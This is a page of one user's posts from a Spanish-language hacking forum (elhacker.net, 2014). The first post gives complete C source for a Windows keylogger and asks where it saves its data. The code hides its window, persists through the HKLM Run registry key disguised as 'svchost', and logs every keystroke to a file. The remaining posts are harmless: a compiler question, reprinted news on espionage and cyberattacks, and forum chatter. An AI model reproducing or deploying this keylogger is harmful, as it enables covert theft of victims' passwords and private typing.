elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ... 87
131  Programación / Programación C/C++ / En que directorio guarda los datos recolectados este keylogger en: 31 Julio 2014, 20:31 pm
Este es el codigo fuente del keylogger

Citar
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
 
   int test,create;
   test=test_key();/*check if key is available for opening*/
       
   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);
         
   }
       
 
   int t=get_keys();
   
   return t;


int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                           
                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;
                                              /*case VK_OEM_PLUS:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_COMMA:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_MINUS:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_PERIOD:
                                              fputc('.',file);
                                              fclose(file);
                                              break;*/
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               }                 
                   
           }
           return EXIT_SUCCESS;                           
}                                               

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;
   
   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {   
       check=1;
       return check;
   }       
         
   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;
       
   RegCloseKey(hKey);
   return check; 
}
 
int create_key(char *path)

       int reg_key,check;
       
       HKEY hkey;
       
       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;
               
       return check;
}

132  Programación / Programación General / Re: Por que no me es posible compilar en backtrack usando codeblock IDE en: 30 Julio 2014, 02:17 am
Ok gracias, intentare haber si me funcionan esas configuraciones.
133  Programación / Programación General / Re: Por que no me es posible compilar en backtrack usando codeblock IDE en: 30 Julio 2014, 01:54 am
El código es correcto, me da el mismo resultado cuando compilo un proyecto o archivo,  me podrías decir como  configurar el compilador para poder compilar
134  Programación / Programación General / Por que no me es posible compilar en backtrack usando codeblock IDE en: 30 Julio 2014, 01:20 am
Me estoy iniciando en el tema de la programación, estoy tratando de compilar C++ en backtrack 5 r3 de 32 bit, usando codeblock IDE 8.02 cuando doy click en compilar,  solo me crea un archivo de texto y en la ventana de Built log, solo me aparece un mensaje que dice Nothing to be done.

A que se debe este problema?
135  Seguridad Informática / Hacking / Re: Bloqueó internet. Como lo logró? en: 30 Julio 2014, 00:27 am
Pero como hace para redireccionar todo el trafico y bloquear internet sin tocar el router?

Bueno lo mejor que puedes hacer, si quieres saber cómo funciona el virus, si tienes conocimientos de programación, localiza el virus comprimelo y analízalo en un entorno seguro alguna maquina virtual con linux o algún windows con deep freeze y aplica ingeniería inversa.
136  Foros Generales / Noticias / Alemania espiará a EE.UU. y Reino Unido por primera vez desde 1945 en: 26 Julio 2014, 02:31 am
La canciller Angela Merkel decide espiar a sus dos socios en la OTAN tras exigir al jefe de la estación de la CIA en Berlín que dejara Alemania.



Angela Merkel, ha anunciado que su país vigilará las acciones de los agentes de los servicios estadounidenses y británicos en su territorio, informa The Daily Mail.

La decisión de la canciller se considera una respuesta al escándalo estallado recientemente en Alemania tras conocerse que la Agencia de Seguridad Nacional de EE.UU. (NSA, por sus siglas en inglés) espiaba a los ciudadanos de la República Federal.
 
Después de hacerse público que el NSA escuchaba a escondidas el teléfono móvil de Merkel, la canciller exigió que el jefe de la CIA en Berlín abandonara el territorio alemán.
 
La agencia de inteligencia alemana (BND, por sus siglas en alemán) llevará a cabo estricta vigilancia de las acciones de los agentes estadounidenses en territorio alemán. Esta decisión marca el primer caso de la observación de la inteligencia aliada por parte de Alemania desde el 1945, cuando las autoridades de Alemania Occidental decidieron dar libertad a estos servicios.
 
Esta semana el presidente de los EE.UU., Barack Obama, envió al jefe del Gabinete de la Casa Blanca, Denis McDonough, y a la asesora para la lucha contra el terrorismo, Lisa Monaco, a Berlín. Oficiales de la Casa Blanca afirman que en la capital alemana abordaron asuntos de seguridad.
 
"Sólo a través de negociaciones y acuerdos se puede restablecer la confianza. Aseguraremos que esas negociaciones tengan lugar, pero por ahora no puedo dar ningún dato concreto", admitió Merkel. Sin embargo, la canciller alemana sostiene que Alemania y EE.UU. siguen siendo socios y "nada puede cambiarlo".
 
Entretanto, la Casa Blanca no ha hecho ningún comentario.
 
Merkel desmintió la posibilidad de conceder permiso al ex-agente del NSA Edward Snowden de refugiarse en Alemania.
 
Un funcionario de la Casa Blanca aseguró que la CIA no utilizaría programas de vacunación como fachada para actividades de inteligencia. La CIA afirma que no tiene intención de utilizar los materiales genéticos obtenidos en el marco de estos programas.   

http://actualidad.rt.com/actualidad/view/135049-alemania-eeuu-espionaje-escandalo-reinounido
137  Foros Generales / Noticias / "Al Qaeda planea un 11-S cibernético contra EE.UU." en: 26 Julio 2014, 02:14 am
Al Qaeda, algunos países y grupos criminales están planeando amplios ataques cibernéticos contra la infraestructura estadounidense que se podrían comparar con el 11-S, afirmó un alto funcionario de justicia de EE.UU.



"Estamos en el momento previo a un 11-S cibernético", dijo John Carlin, fiscal general adjunto de seguridad nacional, citado por el portal Washington Free Beacon.

En una conferencia sobre seguridad, Carlin mencionó que recientemente el líder de Al Qaeda, Ayman al Zawahiri, publicó un vídeo en el que señaló que la red terrorista planea ciberataques contra redes eléctricas y financieras de EE.UU.

Como otro ejemplo, el funcionario recordó una operación contra la petrolera estatal saudita Aramco, que dejó fuera de servicio unos 30.000 ordenadores que controlaban los elementos cruciales de la infraestructura energética del país.

El fiscal general adjunto también se refirió al grupo criminal Gameover Zeus, que las autoridades estadounidenses lograron desarticular este año, como un ejemplo de potenciales ataques.

Se trata de una red que difundía los virus Gameover Zeus (conocido también como GOZeus y P2PZeus), que robaba de los ordenadores información bancaria y otros datos confidenciales, y Cryptolocker, un virus que bloqueaba los ordenadores y exigía a las víctimas un pago a cambio de la contraseña para acceder a la máquina. 
 
"Si un grupo terrorista se hace con este tipo de acceso o capacidad, no pedirán dinero ni se tomarán tiempo para destruir los datos", resaltó Carlin llamando a una cooperación entre el sector público y privado para lidiar con la amenaza.

Respecto a ciertos Estados que pueden amenazar las redes estadounidenses, mencionó las acusaciones formales del Gobierno de EE.UU. presentadas contra cinco miembros del Ejército Popular de Liberación de China por el presunto robo de secretos de empresas privadas estadounidenses a través de medios cibernéticos. 
 
Carlin dijo que el Departamento de Justicia se enfrenta a los ataques cibernéticos con métodos similares a la lucha antiterrorista.

"Hemos pasado a vigilar mejor lo que está pasando respecto a la información que está siendo robada día y noche de las computadoras de los estadounidenses creativos e innovadores y usada por sus rivales en contra de las empresas estadounidenses", comentó. 

Describió el nuevo enfoque de "multifacético y estratégico", que debe trazar una "línea roja" para disuadir a otros países de realizar ataques cibernéticos.

"Cada vez les saldrá más caro realizar este tipo de actividad en suelo estadounidense hasta que el robo de datos cese", prometió el funcionario. 

http://actualidad.rt.com/actualidad/view/135024-qaeda-planean-ataque-cibernetico-eeuu-11s
138  Foros Generales / Foro Libre / Re: Torneo Hack my Server en: 25 Julio 2014, 01:39 am

 Si ponemos ese premio, sale Anelkaos o el-brujo con el acceso root en 10 minutos xD


Está bien que lo hagan, entre mas rápido sea mejor, pero que publiquen en el foro como lo hicieron. El premio más grande, seria saber cómo lo lograron hacer

Esta bien, te prometo que si ganas en vez de Tron, te regalaré mis rezos por un mundo mejor.


Me conformaria con una Dell Studio 1555
139  Foros Generales / Sugerencias y dudas sobre el Foro / Por que bloquean los temas con varios comentarios en la sección de noticias en: 24 Julio 2014, 23:51 pm
No veo que exista algo que no lo permita, en las reglas del foro, por que cuando un tema tiene varios comentarios en la sección de noticias lo bloquean, y no permiten que se siga comentando, alguien me puede aclarar esa duda.
140  Foros Generales / Foro Libre / Re: Torneo Hack my Server en: 24 Julio 2014, 23:34 pm
Interesante, me apunto,  solo que el premio debería ser algo más motivante, algo que a todos les interese.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ... 87
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines